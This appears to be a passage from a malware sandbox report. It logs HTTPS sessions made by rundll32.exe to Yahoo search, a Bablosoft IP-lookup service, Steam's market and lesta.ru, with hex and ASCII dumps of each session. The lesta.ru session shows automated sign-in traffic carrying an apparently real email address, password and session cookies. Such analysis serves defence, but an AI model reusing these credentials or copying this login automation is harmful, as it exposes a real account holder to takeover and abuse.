69 6f 6e 20 42 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 6c 6f 67 3a 7b 5f 72 3a 32 2c 61 63 74 6e Data Ascii: .keyCode\|\|(S.stopPropagation(e),a.value="",S.setFocus(a),s.show(),i.control.beacon("tapClr",o,t.config.log))}var t=this,i=t.app,s=i.view,n=s.elems,a=n.sbInput,o=n.sbClear;o&&(S.ae(o,"click",e),S.ae(o,"keydown",e))}function Bt(){this.config={log:{_r:2,actn
2023-12-10 16:50:49 UTC	12576	IN	Data Raw: 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 74 2e 72 65 61 73 6f 6e 5f 63 6f 64 65 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 68 6f 69 63 65 22 29 2c 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 29 3b 6f 2e 6f 70 65 6e 28 22 50 4f 53 54 22 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 75 72 6c 2c 21 30 29 2c 6f 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 21 30 2c 6f 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 29 2c 6f 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 58 4d 4c 48 74 Data Ascii: e.toLowerCase(),t.reason_code=a.getAttribute("data-choice"),new XMLHttpRequest);o.open("POST",this.config.url,!0),o.withCredentials=!0,o.setRequestHeader("Content-type","application/json;charset=UTF-8"),o.onreadystatechange=function(){o.readyState===XMLHt
2023-12-10 16:50:49 UTC	2594	IN	Data Raw: 54 69 74 6c 65 20 61 2c 20 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 6f 6d 70 54 65 78 74 2e 74 64 2d 75 20 70 20 61 2c 20 23 72 65 73 75 6c 74 73 20 2e 4b 67 4d 6f 76 69 65 73 59 4b 43 20 2e 63 6f 6d 70 49 6d 61 67 65 50 6f 73 74 65 72 2b 2e 63 6f 6d 70 54 65 78 74 20 61 2c 20 23 72 65 73 75 6c 74 73 20 2e 4b 67 4d 6f 76 69 65 73 59 4b 43 20 2e 63 6f 6d 70 49 6d 61 67 65 50 6f 73 74 65 72 2b 2e 63 6f 6d 70 54 65 78 74 2b 2e 63 6f 6d 70 54 65 78 74 20 61 7b 63 6f 6c 6f 72 3a 23 31 61 30 64 61 62 20 21 69 6d 70 6f 72 74 61 6e 74 7d 23 72 65 73 75 6c 74 73 20 2e 64 64 2e 6c 72 72 4c 6f 63 61 6c 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 61 2c 23 72 65 73 75 6c 74 73 20 2e 64 64 2e 6c 72 72 48 6f 74 65 6c 20 2e 63 6f 6d 70 54 69 74 Data Ascii: Title a, #results #right .compText.td-u p a, #results .KgMoviesYKC .compImagePoster+.compText a, #results .KgMoviesYKC .compImagePoster+.compText+.compText a{color:#1a0dab !important}#results .dd.lrrLocal .compTitle .title a,#results .dd.lrrHotel .compTit
2023-12-10 16:50:49 UTC	10438	IN	Data Raw: 68 74 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 73 74 78 74 20 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 6c 61 79 6f 75 74 43 65 6e 74 65 72 20 2e 63 6f 6d 70 54 65 78 74 20 73 70 61 6e 2e 73 74 72 73 2b 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 2e 62 64 63 20 23 66 74 2c 20 2e 62 64 63 20 23 66 74 20 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 41 6e 73 77 72 73 45 78 70 54 6f 70 20 2e 63 6f 6d 70 41 72 74 69 63 6c 65 4c 69 73 74 20 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 41 6e 73 77 72 73 45 78 70 54 6f 70 20 2e 63 6f 6d 70 41 72 74 69 63 6c 65 4c 69 Data Ascii: ht .compTitle .stxt a{color:#4d5156 !important;}#results #right .layoutCenter .compText span.strs+a{color:#4d5156}.bdc #ft, .bdc #ft a{color:#4d5156}#results #web .AnswrsExpTop .compArticleList span{color:#4d5156}#results #web .AnswrsExpTop .compArticleLi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50024	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:48 UTC	753	OUT	POST /id/signin/process/?type=captcha HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive Cookie: wgni_language=ru; wgni_csrftoken=Uzd9O7i3PoSGjz5SOfmhISfjkINqBQIR5k4sGnc5BYyHlQRBn2UEqUN2q4zqozLC; wgni_sessionid=z3w14cgwwin4xo7km4ey4iii2ewraunr User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Content-Length: 112 Content-Type: application/x-www-form-urlencoded accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://lesta.ru/id/signin/ x-csrftoken: Uzd9O7i3PoSGjz5SOfmhISfjkINqBQIR5k4sGnc5BYyHlQRBn2UEqUN2q4zqozLC x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:50:48 UTC	112	OUT	Data Raw: 6c 6f 67 69 6e 3d 6d 61 72 63 65 6c 61 6d 2e 39 40 67 6d 61 69 6c 2e 63 6f 6d 26 70 61 73 73 77 6f 72 64 3d 62 72 75 74 74 75 73 38 36 26 63 61 70 74 63 68 61 3d 30 35 37 34 34 31 33 26 6e 65 78 74 3d 25 32 46 69 64 25 32 46 73 73 6f 25 32 46 73 69 67 6e 69 6e 25 32 46 6e 6f 74 69 66 79 25 32 46 25 33 46 6e 65 78 74 25 33 44 25 32 46 Data Ascii: login=marcelam.9@gmail.com&password=bruttus86&captcha=0574413&next=%2Fid%2Fsso%2Fsignin%2Fnotify%2F%3Fnext%3D%2F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50039	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:52 UTC	969	OUT	GET /search;_ylt=AwrFYE9n7HVlApUrPAxLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&fr=sfp&b=8&pz=7&pstart=8 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227047&ltv_c=1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:52 UTC	2067	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 35 32 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:50:52 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:50:52 UTC	3379	IN	Data Raw: 32 65 30 63 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2e0c<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:50:52 UTC	7736	IN	Data Raw: 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 21 3d 3d 72 2e 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 4e 61 6d 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 4d 53 49 45 20 28 5b 30 2d 39 5d 7b 31 2c 7d 5b 2e 30 2d 39 5d 7b 30 2c 7d 29 22 29 2e 65 78 65 63 28 72 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 3b 72 65 74 75 72 6e 20 65 26 26 65 5b 31 5d 26 26 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 31 5d 29 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 76 61 72 20 6e 3d 5b 5d 3b 72 65 74 75 72 6e 20 73 28 74 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6e 2e 70 75 73 68 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e Data Ascii: rnet Explorer"!==r.navigator.appName)return!1;var e=new RegExp("MSIE ([0-9]{1,}[.0-9]{0,})").exec(r.navigator.userAgent);return e&&e[1]&&parseFloat(e[1])}();function c(e,t){var n=[];return s(t,function(e,t){n.push(encodeURIComponent(e)+"="+encodeURICompon
2023-12-10 16:50:52 UTC	14480	IN	Data Raw: 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 75 2e 64 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 Data Ascii: =t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(u.de(n,"mousedown",this.mdeh
2023-12-10 16:50:53 UTC	10552	IN	Data Raw: 3a 22 6e 75 6d 65 72 69 63 22 2c 6d 6f 6e 74 68 3a 22 73 68 6f 72 74 22 2c 68 6f 75 72 3a 22 32 2d 64 69 67 69 74 22 2c 6d 69 6e 75 74 65 3a 22 32 2d 64 69 67 69 74 22 2c 74 69 6d 65 5a 6f 6e 65 4e 61 6d 65 3a 22 73 68 6f 72 74 22 2c 74 69 6d 65 5a 6f 6e 65 3a 65 2e 74 7a 7d 29 5d 29 3b 65 6c 73 65 7b 74 72 79 7b 65 2e 74 69 74 6c 65 3d 79 3f 43 28 74 2e 6c 5f 74 6d 70 6c 2c 5b 75 2c 66 2c 68 2c 6d 2c 67 5d 29 2b 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 27 2b 74 2e 6c 69 76 65 49 63 6f 6e 43 6c 61 73 73 2b 27 22 3e 27 2b 74 2e 6c 69 76 65 49 63 6f 6e 54 65 78 74 2b 22 3c 2f 73 70 61 6e 3e 22 3a 45 3f 43 28 74 2e 66 5f 74 6d 70 6c 2c 5b 75 2c 66 2c 68 2c 76 2e 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 28 5b 5d 2c 7b 64 61 79 3a 22 6e 75 6d 65 72 69 63 22 Data Ascii: :"numeric",month:"short",hour:"2-digit",minute:"2-digit",timeZoneName:"short",timeZone:e.tz})]);else{try{e.title=y?C(t.l_tmpl,[u,f,h,m,g])+'<span class="'+t.liveIconClass+'">'+t.liveIconText+"</span>":E?C(t.f_tmpl,[u,f,h,v.toLocaleString([],{day:"numeric"
2023-12-10 16:50:53 UTC	2480	IN	Data Raw: 6e 28 65 29 7b 6f 28 29 7d 29 2c 53 2e 61 65 28 68 2c 22 6b 65 79 64 6f 77 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6b 65 79 43 6f 64 65 2c 69 3d 6c 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 3b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 20 33 38 3a 63 61 73 65 20 34 30 3a 69 66 28 64 2e 6c 65 6e 67 74 68 29 7b 6f 28 29 3b 66 6f 72 28 76 61 72 20 73 2c 6e 3d 64 2e 6c 65 6e 67 74 68 3b 34 30 3d 3d 74 3f 69 3c 30 7c 7c 6e 2d 31 3c 3d 69 3f 69 3d 30 3a 69 2b 2b 3a 69 3c 3d 30 3f 69 3d 6e 2d 31 3a 69 2d 2d 2c 21 28 73 3d 64 5b 69 5d 29 2e 6c 69 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 29 3b 6c 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 3d 69 2c 70 2e 61 73 73 69 73 74 49 74 65 6d 3d 73 2c 68 2e 76 61 6c 75 65 3d 73 2e 64 61 74 61 2e 6b 2c Data Ascii: n(e){o()}),S.ae(h,"keydown",function(e){var t=e.keyCode,i=l.selectedIndex;switch(t){case 38:case 40:if(d.length){o();for(var s,n=d.length;40==t?i<0\|\|n-1<=i?i=0:i++:i<=0?i=n-1:i--,!(s=d[i]).li.parentNode;);l.selectedIndex=i,p.assistItem=s,h.value=s.data.k,
2023-12-10 16:50:53 UTC	16384	IN	Data Raw: 20 68 69 73 74 6f 72 79 22 2c 72 73 70 6e 73 3a 22 75 70 64 22 2c 74 32 3a 22 73 65 61 72 63 68 22 2c 74 34 3a 22 63 6c 65 61 72 20 68 69 73 74 6f 72 79 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 65 2e 6b 65 79 43 6f 64 65 26 26 32 37 21 3d 3d 65 2e 6b 65 79 43 6f 64 65 26 26 31 33 21 3d 65 2e 6b 65 79 43 6f 64 65 7c 7c 28 53 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 65 29 2c 61 2e 76 61 6c 75 65 3d 22 22 2c 53 2e 73 65 74 46 6f 63 75 73 28 61 29 2c 73 2e 73 68 6f 77 28 29 2c 69 2e 63 6f 6e 74 72 6f 6c 2e 62 65 61 63 6f 6e 28 22 74 61 70 43 6c 72 22 2c 6f 2c 74 2e 63 6f 6e 66 69 67 2e 6c 6f 67 29 29 7d 76 61 72 20 74 3d 74 68 69 73 2c 69 3d 74 2e 61 70 70 2c 73 3d 69 2e 76 69 65 77 2c 6e 3d 73 Data Ascii: history",rspns:"upd",t2:"search",t4:"clear history"}}}function Ht(){function e(e){e.keyCode&&27!==e.keyCode&&13!=e.keyCode\|\|(S.stopPropagation(e),a.value="",S.setFocus(a),s.show(),i.control.beacon("tapClr",o,t.config.log))}var t=this,i=t.app,s=i.view,n=s
2023-12-10 16:50:53 UTC	5336	IN	Data Raw: 2e 63 72 75 6d 62 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 72 75 6d 62 2c 74 2e 6d 61 72 6b 65 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 6d 61 72 6b 65 74 3b 76 61 72 20 61 3d 74 68 69 73 2e 66 6f 72 6d 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 3a 63 68 65 63 6b 65 64 22 29 2c 6f 3d 28 74 2e 72 65 61 73 6f 6e 3d 61 2e 76 61 6c 75 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 74 2e 72 65 61 73 6f 6e 5f 63 6f 64 65 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 68 6f 69 63 65 22 29 2c 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 29 3b 6f 2e 6f 70 65 6e 28 22 50 4f 53 54 22 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 75 72 6c 2c 21 30 29 2c 6f 2e 77 69 74 68 43 72 65 64 65 Data Ascii: .crumb=this.config.crumb,t.market=this.config.market;var a=this.form.querySelector("input[type=radio]:checked"),o=(t.reason=a.value.toLowerCase(),t.reason_code=a.getAttribute("data-choice"),new XMLHttpRequest);o.open("POST",this.config.url,!0),o.withCrede
2023-12-10 16:50:53 UTC	8568	IN	Data Raw: 29 7b 76 61 72 20 65 3b 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 72 63 22 29 26 26 28 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 72 63 22 29 2c 74 2e 6f 6e 6c 6f 61 64 3d 6e 75 6c 6c 2c 74 2e 6f 6e 65 72 72 6f 72 3d 64 2c 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 72 63 22 29 2c 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 72 63 32 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 65 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 3d 7b 70 72 64 3a 22 32 78 69 6d 67 65 72 72 22 2c 6d 74 65 73 74 69 64 3a 69 2e 63 6f 6e 66 69 67 2e 69 31 33 6e 2e 6d 74 65 73 74 69 64 7c 7c 22 22 2c 70 76 69 64 3a 69 2e 63 Data Ascii: ){var e;t.hasAttribute("data-src")&&(e=t.getAttribute("data-src"),t.onload=null,t.onerror=d,t.removeAttribute("data-src"),t.removeAttribute("data-src2"),t.setAttribute("src",e)),function(){var t,e={prd:"2ximgerr",mtestid:i.config.i13n.mtestid\|\|"",pvid:i.c
2023-12-10 16:50:53 UTC	13426	IN	Data Raw: 61 74 68 65 72 20 2e 63 6f 6d 70 57 65 61 74 68 65 72 49 6d 61 67 65 20 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 46 46 46 7d 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 4c 6f 63 61 6c 4c 69 73 74 2e 72 61 76 69 6f 6c 69 4c 69 73 74 69 6e 67 20 73 70 61 6e 2e 69 73 6f 70 65 6e 20 7b 63 6f 6c 6f 72 3a 23 30 30 38 38 32 43 7d 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 4c 6f 63 61 6c 4c 69 73 74 2e 72 61 76 69 6f 6c 69 4c 69 73 74 69 6e 67 20 73 70 61 6e 2e 69 73 63 6c 6f 73 65 64 20 7b 63 6f 6c 6f 72 3a 23 46 34 31 37 33 32 7d 23 6d 61 69 6e 20 2e 6c 61 73 74 20 2e 64 64 20 2e 63 6f 6d 70 44 6c 69 6e 6b 20 61 2c 20 23 72 69 67 68 74 20 2e 6c 61 73 74 20 2e 63 6f 6d 70 4c 69 73 74 20 61 2c 20 23 6d 61 69 6e 20 2e 73 65 61 72 63 68 43 65 6e 74 65 72 46 6f 6f 74 65 72 Data Ascii: ather .compWeatherImage span{color:#FFF}#results .compLocalList.ravioliListing span.isopen {color:#00882C}#results .compLocalList.ravioliListing span.isclosed {color:#F41732}#main .last .dd .compDlink a, #right .last .compList a, #main .searchCenterFooter

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50042	162.19.169.11	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:52 UTC	67	OUT	GET /ip HTTP/1.1 Host: fingerprints.bablosoft.com Accept: /
2023-12-10 16:50:53 UTC	566	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 35 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 20 50 4f 53 54 2c 20 50 55 54 2c 20 44 45 4c 45 54 45 2c 20 50 41 54 43 48 2c 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Dec 2023 16:50:52 GMTContent-Length: 15Connection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONSAccess
2023-12-10 16:50:53 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50046	23.194.234.100	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:53 UTC	595	OUT	GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=570&category_570_Hero[]=any&category_570_Slot[]=tag_head&category_570_Type[]=tag_wearable&category_570_Type[]=tag_wearable&category_570_Slot[]=tag_back&category_570_Slot[]=tag_weapon&category_570_Rarity[]=tag_Rarity_Arcana HTTP/1.1 Host: steamcommunity.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
2023-12-10 16:50:54 UTC	431	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 45 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 32 36 20 4a 75 6c 20 31 39 39 37 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 35 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 35 30 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 Data Ascii: HTTP/1.1 200 OKServer: nginxContent-Type: application/json; charset=utf-8X-Frame-Options: DENYExpires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-cacheDate: Sun, 10 Dec 2023 16:50:54 GMTContent-Length: 3506Connection: closeSet-Cookie
2023-12-10 16:50:54 UTC	3506	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 74 61 72 74 22 3a 30 2c 22 70 61 67 65 73 69 7a 65 22 3a 31 2c 22 74 6f 74 61 6c 5f 63 6f 75 6e 74 22 3a 36 36 2c 22 74 69 70 22 3a 22 53 65 74 20 6e 6f 72 65 6e 64 65 72 3d 31 20 69 66 20 79 6f 75 20 64 6f 6e 27 74 20 77 61 6e 74 20 48 54 4d 4c 22 2c 22 72 65 73 75 6c 74 73 5f 68 74 6d 6c 22 3a 22 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 74 61 62 6c 65 5f 68 65 61 64 65 72 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 70 72 69 63 65 5f 6c 69 73 74 69 6e 67 73 5f 62 6c 6f 63 6b 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 Data Ascii: {"success":true,"start":0,"pagesize":1,"total_count":66,"tip":"Set norender=1 if you don't want HTML","results_html":"\t<div class=\"market_listing_table_header\">\r\n\t\t<div 